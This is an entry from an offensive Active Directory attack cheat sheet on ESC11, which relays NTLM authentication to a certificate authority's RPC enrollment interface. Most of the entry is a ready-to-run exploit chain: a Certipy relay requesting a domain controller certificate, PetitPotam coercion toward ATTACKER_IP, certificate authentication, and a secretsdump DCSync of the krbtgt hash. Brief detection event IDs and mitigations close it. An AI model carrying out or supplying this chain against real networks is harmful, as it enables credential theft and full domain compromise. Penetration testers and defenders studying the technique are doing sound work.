🟢 Attack #34 — ESC11: NTLM Relay to ADCS RPC
📖 How It Works
ESC11 is similar to ESC8 but targets the CA’s RPC enrollment interface (MS-ICPR) instead of the HTTP web enrollment. If the CA does not enforce packet privacy (the IF_ENFORCEENCRYPTICERTREQUEST flag is disabled), an attacker can relay NTLM authentication to the RPC interface to request certificates — even when HTTP web enrollment is disabled or protected by EPA.
⚙️ Prerequisites
| Requirement | Detail |
|---|---|
| IF_ENFORCEENCRYPTICERTREQUEST disabled | CA RPC interface doesn’t require signing/encryption |
| Coercion capability | PetitPotam, PrinterBug, etc. |
| Network access to CA RPC | TCP 135 + dynamic RPC ports |
💻 Full Commands
🔵 Check If Vulnerable
# ── Certipy ───────────────────────────────────────────────────────────────────
certipy find -u low_user@corp.local -p 'Password1' -dc-ip 10.10.10.10 -vulnerable -stdout
# Look for: ESC11 — IF_ENFORCEENCRYPTICERTREQUEST is disabled
🔴 Exploit ESC11
# ── Step 1: Start Certipy relay targeting RPC ─────────────────────────────────
certipy relay -ca CA01.corp.local -template DomainController
# ── Step 2: Coerce DC ─────────────────────────────────────────────────────────
python3 PetitPotam.py ATTACKER_IP DC01.corp.local
# ── Step 3: Authenticate with resulting certificate ──────────────────────────
certipy auth -pfx dc01.pfx -dc-ip 10.10.10.10
# ── Step 4: DCSync ────────────────────────────────────────────────────────────
secretsdump.py corp.local/'DC01$'@DC01.corp.local -hashes :<HASH> -just-dc-user krbtgt
🛡️ Detection — Event IDs
| Event ID | Source | What to Look For |
|---|---|---|
| 4886 | Security Log (CA) | Certificate enrollment via RPC from unexpected source |
| 4768 | Security Log (DC) | PKINIT TGT using DC certificate |
🔗 Attack Chain Context
[ESC11] ──→ NTLM Relay to CA RPC → same result as ESC8
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├──→ 🔗 Alternative to ESC8 when HTTP enrollment is disabled/protected
├──→ 💥 Same outcome: DC cert → DCSync → domain compromise
└──→ 💀 Defeated by: enable IF_ENFORCEENCRYPTICERTREQUEST, disable NTLM
✅ Attack #34 — ESC11 complete.